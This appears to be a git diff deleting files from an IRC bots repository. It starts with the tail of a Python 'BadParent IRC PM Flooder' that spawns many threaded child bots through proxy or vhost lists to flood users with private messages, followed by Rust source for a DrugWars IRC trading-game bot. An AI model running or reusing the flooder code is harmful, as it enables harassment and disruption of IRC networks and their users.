-					elif args[1] == '433':
-						self.raw('NICK ' + random_str(random.randint(4,7)))
-					elif args[1] == '486':
-						nick = args[-1:]
-						self.event_bad_nick(nick)
-					elif args[1] == '716':
-						nick = args[3]
-						if nick in Parent.nicklist:
-							Parent.nicklist.remove(nick)
-					elif args[1] == 'NOTICE':
-						if 'User does not accept private messages' in data:
-							nick = args[5][1:-1]
-							self.event_bad_nick(nick)
-			except (UnicodeDecodeError,UnicodeEncodeError):
-				pass
-			except:
-				break
-		self.sock.close()
-
-	def raw(self, msg):
-		self.sock.send(bytes(msg + '\r\n', 'utf-8'))
-
-	def sendmsg(self, target, msg):
-		self.raw(f'PRIVMSG {target} :{msg}')
-
-
-
-def load_children():
-	debug('Loading children bots...')
-	for i in range(config.throttle.concurrency):
-		debug('Concurrency round starting....')
-		with concurrent.futures.ThreadPoolExecutor(max_workers=config.throttle.threads) as executor:
-			checks = {executor.submit(child(item).connect): item for item in data_lines}
-			for future in concurrent.futures.as_completed(checks):
-				checks[future]
-	debug('Flooding is complete. (Threads still may be running!)')
-
-# Main
-print('#'*56)
-print('#{0}#'.format(''.center(54)))
-print('#{0}#'.format('BadParent IRC PM Flooder'.center(54)))
-print('#{0}#'.format('Developed by acidvegas in Python'.center(54)))
-print('#{0}#'.format('https://acid.vegas/badparent'.center(54)))
-print('#{0}#'.format(''.center(54)))
-print('#'*56)
-parser = argparse.ArgumentParser(usage='%(prog)s <input> [options]')
-parser.add_argument('input',         help='file to scan')
-parser.add_argument('-p', '--proxy', help='proxy list', action='store_true')
-parser.add_argument('-v', '--vhost', help='vhost list', action='store_true')
-pargs = parser.parse_args()
-if (pargs.proxy and pargs.vhost) or (not pargs.proxy and not pargs.vhost):
-	error_exit('Invalid arguments.')
-if pargs.proxy:
-	try:
-		import socks
-	except ImportError:
-		error_exit('Missing PySocks module! (https://pypi.python.org/pypi/PySocks)')
-if not os.path.isfile(pargs.input):
-	error_exit('No such input file.')
-data_lines = [line.strip() for line in open(pargs.input).readlines() if line]
-debug(f'Loaded {len(data_lines)} lines from file.')
-random.shuffle(data_lines)
-debug('Starting parent bot connection...')
-Parent = parent()
-Parent.connect()
diff --git a/irc/bots/drugwars/.gitignore b/irc/bots/drugwars/.gitignore
@@ -1,2 +0,0 @@
-/target
-/Cargo.lock
diff --git a/irc/bots/drugwars/Cargo.toml b/irc/bots/drugwars/Cargo.toml
@@ -1,6 +0,0 @@
-[workspace]
-
-members = [
-    "irc",
-    "drugwars"
-]
-\ No newline at end of file
diff --git a/irc/bots/drugwars/drugwars/Cargo.toml b/irc/bots/drugwars/drugwars/Cargo.toml
@@ -1,14 +0,0 @@
-[package]
-name = "drugwars"
-author = "wrk"
-version = "0.1.0"
-edition = "2021"
-
-[dependencies]
-irc = { path = "../irc" }
-serde = { version = "1.0.163", features = ["derive"] }
-serde_yaml = "0.9.21"
-itertools = "0.10.5"
-rand = "0.8.5"
-rand_distr = "0.4.3"
-chrono = "0.4.24"
diff --git a/irc/bots/drugwars/drugwars/src/api.rs b/irc/bots/drugwars/drugwars/src/api.rs
@@ -1,584 +0,0 @@
-use crate::{drug_wars::DrugWars, dealer::Dealer, utils::{get_flight_price, capacity_price, pretty_print_money}};
-
-impl DrugWars {
-    pub fn register_dealer(&mut self, nick: &str) -> Vec<String> {
-        if self.dealers.contains_key(nick) {
-            return vec![format!(
-                "{}: you're already registered you bloot clot donkey",
-                nick
-            )];
-        }
-
-        self.dealers.insert(nick.to_owned(), Dealer::random(self));
-
-        let dealer = self.dealers.get(nick).unwrap();
-        let location = self.locations.get_mut(&dealer.location).unwrap();
-
-        location.blokes.insert(nick.to_owned());
-
-        vec![format!("{}: get rich or die tryin", nick)]
-    }
-
-
-    pub fn show_page_for_nick(&self, nick: &str) -> Vec<String> {
-        let Some(dealer) = self.get_dealer(nick) else {
-            return self.dealer_not_registered(nick);
-        };
-
-        let mut lines = vec![];
-
-        lines.append(&mut self.render_header(nick, dealer));
-        if dealer.max_width >= 110 {
-            lines.append(&mut self.render_drugs_dual_columns(dealer));
-            lines.append(&mut self.render_items_dual_columns(dealer));    
-        } else {
-            lines.append(&mut self.render_drugs(dealer));
-            lines.append(&mut self.render_items(dealer));
-        }
-
-        lines.append(&mut self.render_people(dealer));
-        lines.append(&mut self.render_command_list(dealer));
-
-        lines
-    }
-
-    pub fn set_dealer_max_width(&mut self, nick: &str, size: usize) -> Vec<String> {
-        let Some(dealer) = self.get_dealer_mut(nick) else { return vec![
-            format!("{}: You aren't playing yet you donkey", nick)
-        ]; };
-
-        dealer.max_width = size;
-        vec![
-            format!("{}: Changed your max width to {}", nick, size),
-            "Your max width is now:".to_owned(),
-            format!("├{}┤", "─".repeat(size - 2))
-        ]
-    }
-
-    pub fn buy_drug(&mut self, nick: &str, drug_str: &str, amount: usize) -> Vec<String> {
-        let drug_str = drug_str.to_lowercase();
-
-        let Some(dealer) = self.get_dealer(nick) else { 
-            return self.dealer_not_registered(nick);
-        };
-
-        if !dealer.available() {
-            return self.dealer_not_available(nick);
-        }
-
-        let matching_drugs = self
-            .drugs
-            .iter()
-            .filter(|(name, _)| name.to_lowercase().contains(&drug_str))
-            .collect::<Vec<_>>();
-
-        let len = matching_drugs.len();
-
-        if len < 1 {
-            return vec![format!("{}: Couldn't find your requested drug", nick)];
-        }
-        if len > 1 {
-            return vec![format!("{}: The drug you requested is too ambiguous.", nick)];
-        }
-
-        let (drug_name, _) = matching_drugs[0];
-
-        let location = self.locations.get(&dealer.location).unwrap();
-
-        if !location.drug_market.contains_key(drug_name) {
-            return vec![format!(
-                "{}: There isn't any {} on the market today.",
-                nick,
-                drug_name
-            )];
-        }
-
-        if dealer.get_total_drugs_local() + amount > dealer.capacity {
-            return vec![
-                format!("{}: You don't have enough capacity", nick)
-            ]
-        }
-
-        let drug_at_market = location.drug_market.get(drug_name).unwrap();
-        if drug_at_market.supply < amount {
-            return vec![format!(
-                "{}: There isn't enough supply of {} today.",
-                nick,
-                drug_name
-            )];
-        }
-
-        let total_price = drug_at_market.price * amount as u128;
-
-        if total_price > dealer.money {
-            return vec![format!("{}: Not enough money you broke ass punk", nick)];
-        }
-
-        self._buy_drug(nick, &drug_name.clone(), amount, drug_at_market.price)
-    }
-
-    pub fn sell_drug(&mut self, nick: &str, drug_str: &str, amount: usize) -> Vec<String> {
-        let drug_str = drug_str.to_lowercase();
-
-        let Some(dealer) = self.get_dealer(nick) else { 
-            return self.dealer_not_registered(nick);
-        };
-
-        if !dealer.available() {
-            return self.dealer_not_available(nick);
-        }
-
-        let matching_drugs = self
-            .drugs
-            .iter()
-            .filter(|(name, _)| name.to_lowercase().contains(&drug_str))
-            .collect::<Vec<_>>();
-
-        let len = matching_drugs.len();
-
-        if len < 1 {
-            return vec![format!("{}: Couldn't find your requested drug", nick)];
-        }
-        if len > 1 {
-            return vec![format!("{}: The drug you requested is too ambiguous.", nick)];
-        }
-
-        let (drug_name, _) = matching_drugs[0];
-
-        let location = self.locations.get(&dealer.location).unwrap();
-
-        if !location.drug_market.contains_key(drug_name) {
-            return vec![format!(
-                "{}: There isn't any {} needed on the market today.",
-                nick,
-                drug_name
-            )];
-        }
-
-        let drug_at_market = location.drug_market.get(drug_name).unwrap();
-        if drug_at_market.demand < amount {
-            return vec![format!(
-                "{}: There isn't enough demand of {} today.",
-                nick,
-                drug_name
-            )];
-        }
-
-        let owned_drugs_local = dealer.owned_drugs.get(&dealer.location).unwrap();
-
-        if !owned_drugs_local.contains_key(drug_name) {
-            return vec![format!(
-                "{}: You don't have any {} here.",
-                nick,
-                drug_name
-            )];
-        }
-
-        let owned_drug = owned_drugs_local.get(drug_name).unwrap();
-
-        if owned_drug.amount < amount {
-            return vec![format!(
-                "{}: You don't have enough {} to sell.",
-                nick,
-                drug_name
-            )];
-        }
-
-        self._sell_drug(nick, &drug_name.clone(), amount, drug_at_market.price)
-    }
-
-
-    pub fn buy_item(&mut self, nick: &str, item_str: &str, amount: usize) -> Vec<String> {
-        let item_str = item_str.to_lowercase();
-
-        let Some(dealer) = self.get_dealer(nick) else { 
-            return self.dealer_not_registered(nick);
-        };
-
-        if !dealer.available() {
-            return self.dealer_not_available(nick);
-        }
-
-        let matching_items = self
-            .items
-            .iter()
-            .filter(|(name, _)| name.to_lowercase().contains(&item_str))
-            .collect::<Vec<_>>();
-
-        let len = matching_items.len();
-
-        if len < 1 {
-            return vec![format!("{}: Couldn't find your requested item", nick)];
-        }
-        if len > 1 {
-            return vec![format!("{}: The item you requested is too ambiguous.", nick)];
-        }
-
-        let (item_name, _) = matching_items[0];
-
-        let location = self.locations.get(&dealer.location).unwrap();
-
-        if !location.item_market.contains_key(item_name) {
-            return vec![format!(
-                "{}: There isn't any {} on the market today.",
-                nick,
-                item_name
-            )];
-        }
-
-        if dealer.get_total_items_local() + amount > dealer.capacity {
-            return vec![
-                format!("{}: You don't have enough capacity", nick)
-            ]
-        }
-
-        let item_at_market = location.item_market.get(item_name).unwrap();
-        if item_at_market.supply < amount {
-            return vec![format!(
-                "{}: There isn't enough supply of {} today.",
-                nick,
-                item_name
-            )];
-        }
-
-        let total_price = item_at_market.price * amount as u128;
-
-        if total_price > dealer.money {
-            return vec![format!("{}: Not enough money you broke ass punk", nick)];
-        }
-
-        self._buy_item(nick, &item_name.clone(), amount, item_at_market.price)
-    }
-
-    pub fn sell_item(&mut self, nick: &str, item_str: &str, amount: usize) -> Vec<String> {
-        let item_str = item_str.to_lowercase();
-
-        let Some(dealer) = self.get_dealer(nick) else { 
-            return self.dealer_not_registered(nick);
-        };
-
-        if !dealer.available() {
-            return self.dealer_not_available(nick);
-        }
-
-        let matching_items = self
-            .items
-            .iter()
-            .filter(|(name, _)| name.to_lowercase().contains(&item_str))
-            .collect::<Vec<_>>();
-
-        let len = matching_items.len();
-
-        if len < 1 {
-            return vec![format!("{}: Couldn't find your requested item", nick)];
-        }
-        if len > 1 {
-            return vec![format!("{}: The item you requested is too ambiguous.", nick)];
-        }
-
-        let (item_name, _) = matching_items[0];
-
-        let location = self.locations.get(&dealer.location).unwrap();
-
-        if !location.item_market.contains_key(item_name) {
-            return vec![format!(
-                "{}: There isn't any {} needed on the market today.",
-                nick,
-                item_name
-            )];
-        }
-
-        let item_at_market = location.item_market.get(item_name).unwrap();
-        if item_at_market.demand < amount {
-            return vec![format!(
-                "{}: There isn't enough demand of {} today.",
-                nick,
-                item_name
-            )];
-        }
-
-        let owned_items_local = dealer.owned_items.get(&dealer.location).unwrap();
-
-        if !owned_items_local.contains_key(item_name) {
-            return vec![format!(
-                "{}: You don't have any {} here.",
-                nick,
-                item_name
-            )];
-        }
-
-        let owned_item = owned_items_local.get(item_name).unwrap();
-
-        if owned_item.amount < amount {
-            return vec![format!(
-                "{}: You don't have enough {} to sell.",
-                nick,
-                item_name
-            )];
-        }
-
-        self._sell_item(nick, &item_name.clone(), amount, item_at_market.price)
-    }
-
-    pub fn give_money(&mut self, nick: &str, amount: f64, bloke_nick: &str) -> Vec<String> {
-        let Some(dealer) = self.get_dealer(nick) else { 
-            return self.dealer_not_registered(nick);
-        };
-
-        if !dealer.available() {
-            return self.dealer_not_available(nick);
-        }
-
-        let Some(_) = self.get_dealer(bloke_nick) else { 
-            return self.dealer_not_registered(nick);
-        };
-
-        let money = (amount * 10000.) as u128;
-
-        if dealer.money < money {
-            return vec![format!("{}: Not enough money you broke ass punk", nick)];   
-        }
-
-        self._give_money(nick, bloke_nick, money)
-        
-    }
-
-    pub fn give_drug(&mut self, nick: &str, drug_str: &str, amount: usize, bloke_nick: &str) -> Vec<String> {
-        let drug_str = drug_str.to_lowercase();
-
-        let Some(dealer) = self.get_dealer(nick) else { 
-            return self.dealer_not_registered(nick);
-        };
-
-        if !dealer.available() {
-            return self.dealer_not_available(nick);
-        }
-
-        let Some(bloke) = self.get_dealer(bloke_nick) else { 
-            return self.dealer_not_registered(nick);
-        };
-
-        if dealer.location != bloke.location {
-            return vec![format!("{}: {} is not in {} currently.", nick, bloke_nick, dealer.location)];
-        }
-
-        let matching_drugs = self
-            .drugs
-            .iter()
-            .filter(|(name, _)| name.to_lowercase().contains(&drug_str))
-            .collect::<Vec<_>>();
-
-        let len = matching_drugs.len();
-
-        if len < 1 {
-            return vec![format!("{}: Couldn't find your requested drug", nick)];
-        }
-        if len > 1 {
-            return vec![format!("{}: The drug you requested is too ambiguous.", nick)];
-        }
-
-        let (drug_name, _) = matching_drugs[0];
-
-        let owned_drugs_local = dealer.owned_drugs.get(&dealer.location).unwrap();
-
-        if !owned_drugs_local.contains_key(drug_name) {
-            return vec![format!(
-                "{}: You don't have any {} here.",
-                nick,
-                drug_name
-            )];
-        }
-
-        let owned_drug = owned_drugs_local.get(drug_name).unwrap();
-
-        if owned_drug.amount < amount {
-            return vec![format!(
-                "{}: You don't have enough {} to sell.",
-                nick,
-                drug_name
-            )];
-        }
-
-        if bloke.get_total_drugs_local() + amount > bloke.capacity {
-            return vec![format!(
-                "{}: {} don't have enough capacity",
-                nick,
-                bloke_nick
-            )];
-        }
-
-        self._give_drug(nick, bloke_nick, &drug_name.clone(), amount)
-
-    }
-
-    pub fn give_item(&mut self, nick: &str, item_str: &str, amount: usize, bloke_nick: &str) -> Vec<String> {
-        let item_str = item_str.to_lowercase();
-
-        let Some(dealer) = self.get_dealer(nick) else { 
-            return self.dealer_not_registered(nick);
-        };
-
-        if !dealer.available() {
-            return self.dealer_not_available(nick);
-        }
-
-        let Some(bloke) = self.get_dealer(bloke_nick) else { 
-            return self.dealer_not_registered(nick);
-        };
-
-        if dealer.location != bloke.location {
-            return vec![format!("{}: {} is not in {} currently.", nick, bloke_nick, dealer.location)];
-        }
-
-        let matching_items = self
-            .items
-            .iter()
-            .filter(|(name, _)| name.to_lowercase().contains(&item_str))
-            .collect::<Vec<_>>();
-
-        let len = matching_items.len();
-
-        if len < 1 {
-            return vec![format!("{}: Couldn't find your requested item", nick)];
-        }
-        if len > 1 {
-            return vec![format!("{}: The item you requested is too ambiguous.", nick)];
-        }
-
-        let (item_name, _) = matching_items[0];
-
-        let owned_items_local = dealer.owned_items.get(&dealer.location).unwrap();
-
-        if !owned_items_local.contains_key(item_name) {
-            return vec![format!(
-                "{}: You don't have any {} here.",
-                nick,
-                item_name
-            )];
-        }
-
-        let owned_item = owned_items_local.get(item_name).unwrap();
-
-        if owned_item.amount < amount {
-            return vec![format!(
-                "{}: You don't have enough {} to sell.",
-                nick,
-                item_name
-            )];
-        }
-
-        if bloke.get_total_items_local() + amount > bloke.capacity {
-            return vec![format!(
-                "{}: {} don't have enough capacity",
-                nick,
-                bloke_nick
-            )];
-        }
-
-        self._give_item(nick, bloke_nick, &item_name.clone(), amount)
-    }
-
-    pub fn check_flight_prices(&self, nick: &str) -> Vec<String> {
-
-        let Some(dealer) = self.get_dealer(nick) else {
-            return self.dealer_not_registered(nick);
-        };
-
-        if !dealer.available() {
-            return self.dealer_not_available(nick);
-        }
-
-        let mut lines = vec![];
-        lines.push(format!("{}: Here are the flight prices:", nick));
-
-        lines.append(&mut self.prices_from(&dealer.location));
-
-        lines
-    }
-
-    pub fn fly_to(&mut self, nick: &str, destination_str: &str) -> Vec<String> {
-
-        let destination_str = destination_str.to_lowercase();
-
-        let Some(dealer) = self.get_dealer(nick) else { 
-            return self.dealer_not_registered(nick);
-        };
-
-        if !dealer.available() {
-            return self.dealer_not_available(nick);
-        }
-
-        let matching_destinations = self
-            .locations
-            .iter()
-            .filter(|(name, _)| name.to_lowercase().contains(&destination_str))
-            .collect::<Vec<_>>();
-
-        let len = matching_destinations.len();
-
-        if len < 1 {
-            return vec![format!("{}: Couldn't find your requested destination", nick)];
-        }
-        if len > 1 {
-            return vec![format!("{}: The destination you requested is too ambiguous.", nick)];
-        }
-
-        let current_location = self.locations.get(&dealer.location).unwrap();
-
-        let (destination_name, destination) = matching_destinations[0];
-
-        let price = get_flight_price(current_location, destination);
-
-        if dealer.money < price {
-            return vec![format!("{}: Not enough money you broke ass punk", nick)];
-        }
-
-
-        self._fly_to(nick, &destination_name.clone())
-    }
-
-    pub fn check_capacity_price(&mut self, nick: &str, amount: usize) -> Vec<String> {
-        let Some(dealer) = self.get_dealer(nick) else {
-            return self.dealer_not_registered(nick);
-        };
-
-        if !dealer.available() {
-            return self.dealer_not_available(nick);
-        }
-
-        let Some(price) = capacity_price(dealer.capacity, amount) else {
-            return vec![
-                format!("{}: You won't ever need that much capacity. Will you?", nick)
-            ];
-        };
-
-        return vec![
-            format!("{}: It will cost you {} to buy {} slots", nick, pretty_print_money(price), amount)
-        ]
-
-    }
-
-    pub fn buy_capacity(&mut self, nick: &str, amount: usize) -> Vec<String> {
-        
-        let Some(dealer) = self.get_dealer(nick) else {
-            return self.dealer_not_registered(nick);
-        };
-
-        if !dealer.available() {
-            return self.dealer_not_available(nick);
-        }
-
-        let Some(price) = capacity_price(dealer.capacity, amount) else {
-            return vec![
-                format!("{}: You won't ever need that much capacity. Will you?", nick)
-            ];
-        };
-
-        if dealer.money < price {
-            return vec![format!("{}: Not enough money you broke ass punk", nick)];
-        }
-
-        self._buy_capacity(nick, amount)
-    }
-
-}
diff --git a/irc/bots/drugwars/drugwars/src/config.rs b/irc/bots/drugwars/drugwars/src/config.rs
@@ -1,24 +0,0 @@
-use std::{fs::File, io::Read};
-
-use serde::Deserialize;
-use serde_yaml::{Mapping, Sequence};
-
-#[derive(Deserialize)]
-pub struct DrugWarsConfig {
-    pub settings: Mapping,
-    pub locations: Sequence,
-    pub drugs: Sequence,
-    pub items: Mapping,
-    pub messages: Mapping,
-}
-
-impl DrugWarsConfig {
-    pub fn from_file(path: &str) -> std::io::Result<Self> {
-        let mut file = File::open(path)?;
-        let mut contents = String::new();
-        file.read_to_string(&mut contents)?;
-
-        let config: DrugWarsConfig = serde_yaml::from_str(&contents).unwrap();
-        Ok(config)
-    }
-}
diff --git a/irc/bots/drugwars/drugwars/src/dealer.rs b/irc/bots/drugwars/drugwars/src/dealer.rs
@@ -1,175 +0,0 @@
-use std::collections::HashMap;
-
-use rand::seq::IteratorRandom;
-
-use crate::{
-    definitions::{DealerStatus, OwnedDrug, OwnedItem},
-    drug_wars::DrugWars,
-};
-
-pub struct Dealer {
-    pub money: u128,
-    pub location: String,
-    pub capacity: usize,
-    pub owned_drugs: HashMap<String, HashMap<String, OwnedDrug>>,
-    pub owned_items: HashMap<String, HashMap<String, OwnedItem>>,
-    pub max_width: usize,
-    pub status: DealerStatus,
-}
-
-impl Dealer {
-    pub fn random(drug_wars: &DrugWars) -> Self {
-        let mut rng = rand::thread_rng();
-
-        let mut owned_drugs = HashMap::default();
-        let mut owned_items = HashMap::default();
-
-        for (name, _) in &drug_wars.locations {
-            owned_drugs.insert(name.clone(), HashMap::default());
-            owned_items.insert(name.clone(), HashMap::default());
-        }
-
-        let location_name = drug_wars.locations.keys().choose(&mut rng).unwrap();
-
-        Self {
-            money: 100000000000,
-            location: location_name.clone(),
-            capacity: 10,
-            owned_drugs,
-            owned_items,
-            max_width: 110,
-            status: DealerStatus::Available,
-        }
-    }
-
-    pub fn available(&self) -> bool {
-        self.status == DealerStatus::Available
-    }
-
-    pub fn get_local_drugs(&self) -> &HashMap<String, OwnedDrug> {
-        self.owned_drugs.get(&self.location).unwrap()
-    }
-
-    pub fn get_local_items(&self) -> &HashMap<String, OwnedItem> {
-        self.owned_items.get(&self.location).unwrap()
-    }
-
-    pub fn get_total_drugs_local(&self) -> usize {
-        self.get_total_drugs_at(&self.location)
-    }
-
-    pub fn get_total_drugs_at(&self, location: &str) -> usize {
-        self.owned_drugs
-            .get(location)
-            .unwrap()
-            .iter()
-            .map(|(_, drug)| drug.amount)
-            .sum()
-    }
-
-    pub fn get_total_items_local(&self) -> usize {
-        self.get_total_items_at(&self.location)
-    }
-
-    pub fn get_total_items_at(&self, location: &str) -> usize {
-        self.owned_items
-            .get(location)
-            .unwrap()
-            .iter()
-            .map(|(_, drug)| drug.amount)
-            .sum()
-    }
-
-    pub fn print_status(&self) -> &str {
-        match self.status {
-            DealerStatus::Available => "Available",
-            DealerStatus::Flying => "Flying",
-        }
-    }
-
-    pub fn add_drug_local(&mut self, drug_name: &str, amount: usize, bought_at: u128) {
-        let location = self.location.clone();
-        self.add_drug_at(&location, drug_name, amount, bought_at)
-    }
-
-    pub fn add_drug_at(&mut self, location: &str, drug_name: &str, amount: usize, bought_at: u128) {
-        let owned_drugs = self.owned_drugs.get_mut(location).unwrap();
-
-        let owned_drug = match owned_drugs.entry(drug_name.to_owned()) {
-            std::collections::hash_map::Entry::Occupied(o) => o.into_mut(),
-            std::collections::hash_map::Entry::Vacant(v) => v.insert(OwnedDrug {
-                amount: 0,
-                bought_at: 0,
-            }),
-        };
-
-        let average_price = (owned_drug.amount as u128 * owned_drug.bought_at
-            + amount as u128 * bought_at)
-            / (owned_drug.amount as u128 + amount as u128);
-
-        owned_drug.amount += amount;
-        owned_drug.bought_at = average_price;
-    }
-
-    pub fn sub_drug_local(&mut self, drug_name: &str, amount: usize) {
-        let location = self.location.clone();
-        self.sub_drug_at(&location, drug_name, amount);
-    }
-
-    pub fn sub_drug_at(&mut self, location: &str, drug_name: &str, amount: usize) {
-        let owned_drugs = self.owned_drugs.get_mut(location).unwrap();
-
-        let owned_drug = match owned_drugs.entry(drug_name.to_owned()) {
-            std::collections::hash_map::Entry::Occupied(o) => o.into_mut(),
-            std::collections::hash_map::Entry::Vacant(v) => v.insert(OwnedDrug {
-                amount: 0,
-                bought_at: 0,
-            }),
-        };
-
-        owned_drug.amount -= amount;
-    }
-
-    pub fn add_item_local(&mut self, item_name: &str, amount: usize, bought_at: u128) {
-        let location = self.location.clone();
-        self.add_item_at(&location, item_name, amount, bought_at)
-    }
-
-    pub fn add_item_at(&mut self, location: &str, item_name: &str, amount: usize, bought_at: u128) {
-        let owned_items = self.owned_items.get_mut(location).unwrap();
-
-        let owned_item = match owned_items.entry(item_name.to_owned()) {
-            std::collections::hash_map::Entry::Occupied(o) => o.into_mut(),
-            std::collections::hash_map::Entry::Vacant(v) => v.insert(OwnedItem {
-                amount: 0,
-                bought_at: 0,
-            }),
-        };
-
-        let average_price = (owned_item.amount as u128 * owned_item.bought_at
-            + amount as u128 * bought_at)
-            / (owned_item.amount as u128 + amount as u128);
-
-        owned_item.amount += amount;
-        owned_item.bought_at = average_price;
-    }
-
-    pub fn sub_item_local(&mut self, item_name: &str, amount: usize) {
-        let location = self.location.clone();
-        self.sub_item_at(&location, item_name, amount);
-    }
-
-    pub fn sub_item_at(&mut self, location: &str, item_name: &str, amount: usize) {
-        let owned_items = self.owned_items.get_mut(location).unwrap();
-
-        let owned_item = match owned_items.entry(item_name.to_owned()) {
-            std::collections::hash_map::Entry::Occupied(o) => o.into_mut(),
-            std::collections::hash_map::Entry::Vacant(v) => v.insert(OwnedItem {
-                amount: 0,
-                bought_at: 0,
-            }),
-        };
-
-        owned_item.amount -= amount;
-    }
-}
diff --git a/irc/bots/drugwars/drugwars/src/definitions.rs b/irc/bots/drugwars/drugwars/src/definitions.rs
@@ -1,103 +0,0 @@
-use std::collections::{HashMap, HashSet};
-
-use chrono::NaiveDate;
-
-#[derive(Clone, Copy, Debug, Hash, PartialEq, Eq)]
-pub enum MessageKind {
-    RumorUpHere,
-    RumorDownHere,
-    RumorUpAt,
-    RumorDownAt,
-    Welcome,
-    PriceUp,
-    PriceUpEnd,
-    PriceDown,
-    PriceDownEnd,
-}
-
-#[derive(Clone, Copy)]
-pub struct Drug {
-    pub nominal_price: u128,
-}
-
-pub struct Weapon {
-    pub nominal_price: u128,
-    pub ammo: Option<String>,
-    pub damage: f32,
-}
-
-pub struct Ammo {
-    pub nominal_price: u128,
-}
-
-pub struct Armor {
-    pub nominal_price: u128,
-    pub block: f32,
-}
-
-pub struct NoScent {
-    pub nominal_price: u128,
-    pub capacity: usize,
-}
-
-pub enum Item {
-    Weapon(Weapon),
-    Ammo(Ammo),
-    Armor(Armor),
-    NoScent(NoScent),
-}
-
-impl Item {
-    pub fn nominal_price(&self) -> u128 {
-        match self {
-            Item::Weapon(w) => w.nominal_price,
-            Item::Ammo(am) => am.nominal_price,
-            Item::Armor(ar) => ar.nominal_price,
-            Item::NoScent(n) => n.nominal_price,
-        }
-    }
-}
-
-pub struct OwnedDrug {
-    pub amount: usize,
-    pub bought_at: u128,
-}
-
-pub struct MarketDrug {
-    pub supply: usize,
-    pub demand: usize,
-    pub price: u128,
-}
-
-pub struct OwnedItem {
-    pub amount: usize,
-    pub bought_at: u128,
-}
-
-pub struct MarketItem {
-    pub supply: usize,
-    pub demand: usize,
-    pub price: u128,
-}
-
-pub struct Location {
-    pub lat: f32,
-    pub long: f32,
-    pub drug_market: HashMap<String, MarketDrug>,
-    pub item_market: HashMap<String, MarketItem>,
-    pub messages: Vec<String>,
-    pub blokes: HashSet<String>,
-}
-
-pub struct Settings {
-    pub day_duration: u32,
-    pub current_day: NaiveDate,
-}
-
-
-
-#[derive(PartialEq, Eq)]
-pub enum DealerStatus {
-    Available,
-    Flying
-}
-\ No newline at end of file
diff --git a/irc/bots/drugwars/drugwars/src/drug_wars.rs b/irc/bots/drugwars/drugwars/src/drug_wars.rs
@@ -1,553 +0,0 @@
-use std::{
-    collections::{HashMap, HashSet},
-    str::FromStr,
-    time::SystemTime,
-};
-
-use chrono::{Duration, NaiveDate};
-use irc::Irc;
-use rand::{Rng, RngCore};
-use rand_distr::{Distribution, Normal};
-
-use crate::{
-    config::DrugWarsConfig,
-    dealer::Dealer,
-    definitions::{
-        Ammo, Armor, DealerStatus, Drug, Item, Location, MarketDrug, MarketItem, MessageKind,
-        NoScent, Settings, Weapon,
-    },
-    utils::{capacity_price, get_flight_price, pretty_print_money},
-};
-
-pub struct DrugWars {
-    pub settings: Settings,
-    pub timer: SystemTime,
-    pub dealers: HashMap<String, Dealer>,
-    pub locations: HashMap<String, Location>,
-    pub flights: HashMap<String, String>,
-    pub drugs: HashMap<String, Drug>,
-    pub items: HashMap<String, Item>,
-    pub messages: HashMap<MessageKind, Vec<String>>,
-}
-
-impl From<DrugWarsConfig> for DrugWars {
-    fn from(config: DrugWarsConfig) -> Self {
-        let mut locations = HashMap::default();
-        let mut drugs = HashMap::default();
-        let mut items = HashMap::default();
-        let mut messages = HashMap::default();
-
-        for drug in config.drugs {
-            let name = drug.as_mapping().unwrap()["name"].as_str().unwrap();
-            let price = drug.as_mapping().unwrap()["price"].as_f64().unwrap();
-            drugs.insert(
-                name.to_owned(),
-                Drug {
-                    nominal_price: (price * 10000.) as u128,
-                },
-            );
-        }
-
-        let weapons = config.items["weapons"]
-            .as_sequence()
-            .unwrap()
-            .iter()
-            .map(|value| value.as_mapping().unwrap())
-            .collect::<Vec<_>>();
-
-        for weapon in weapons {
-            let name = weapon["name"].as_str().unwrap();
-            let price = weapon["price"].as_f64().unwrap();
-            let damage = weapon["damage"].as_f64().unwrap() as f32;
-
-            let mut ammo = None;
-
-            if weapon.contains_key("ammo") {
-                ammo = Some(weapon["ammo"].as_str().unwrap().to_owned())
-            }
-
-            items.insert(
-                name.to_owned(),
-                Item::Weapon(Weapon {
-                    nominal_price: (price * 10000.) as u128,
-                    ammo,
-                    damage,
-                }),
-            );
-        }
-
-        let ammos = config.items["ammos"]
-            .as_sequence()
-            .unwrap()
-            .iter()
-            .map(|value| value.as_mapping().unwrap())
-            .collect::<Vec<_>>();
-
-        for ammo in ammos {
-            let name = ammo["name"].as_str().unwrap();
-            let price = ammo["price"].as_f64().unwrap();
-
-            items.insert(
-                name.to_owned(),
-                Item::Ammo(Ammo {
-                    nominal_price: (price * 10000.) as u128,
-                }),
-            );
-        }
-
-        let armors = config.items["armors"]
-            .as_sequence()
-            .unwrap()
-            .iter()
-            .map(|value| value.as_mapping().unwrap())
-            .collect::<Vec<_>>();
-
-        for armor in armors {
-            let name = armor["name"].as_str().unwrap();
-            let price = armor["price"].as_f64().unwrap();
-            let block = armor["block"].as_f64().unwrap() as f32;
-
-            items.insert(
-                name.to_owned(),
-                Item::Armor(Armor {
-                    nominal_price: (price * 10000.) as u128,
-                    block,
-                }),
-            );
-        }
-
-        let no_scents = config.items["no_scents"]
-            .as_sequence()
-            .unwrap()
-            .iter()
-            .map(|value| value.as_mapping().unwrap())
-            .collect::<Vec<_>>();
-
-        for no_scent in no_scents {
-            let name = no_scent["name"].as_str().unwrap();
-            let price = no_scent["price"].as_f64().unwrap();
-            let capacity = no_scent["capacity"].as_u64().unwrap() as usize;
-
-            items.insert(
-                name.to_owned(),
-                Item::NoScent(NoScent {
-                    nominal_price: (price * 10000.) as u128,
-                    capacity,
-                }),
-            );
-        }
-
-        for location in config.locations {
-            let name = location.as_mapping().unwrap()["name"].as_str().unwrap();
-            let lat = location.as_mapping().unwrap()["position"]
-                .as_mapping()
-                .unwrap()["lat"]
-                .as_f64()
-                .unwrap() as f32;
-            let long = location.as_mapping().unwrap()["position"]
-                .as_mapping()
-                .unwrap()["long"]
-                .as_f64()
-                .unwrap() as f32;
-
-            locations.insert(
-                name.to_owned(),
-                Location {
-                    lat,
-                    long,
-                    drug_market: HashMap::default(),
-                    item_market: HashMap::default(),
-                    messages: vec![],
-                    blokes: HashSet::default(),
-                },
-            );
-        }
-
-        // OH LOOK ! I'M FUCKING SLEEP DEPRIVATED !
-        for (val_str, enum_variant) in [
-            ("rumor_up_here", MessageKind::RumorUpHere),
-            ("rumor_down_here", MessageKind::RumorDownHere),
-            ("rumor_up_at", MessageKind::RumorUpAt),
-            ("rumor_down_at", MessageKind::RumorDownAt),
-            ("welcome", MessageKind::Welcome),
-            ("price_up", MessageKind::PriceUp),
-            ("price_up_end", MessageKind::PriceUpEnd),
-            ("price_down", MessageKind::PriceDown),
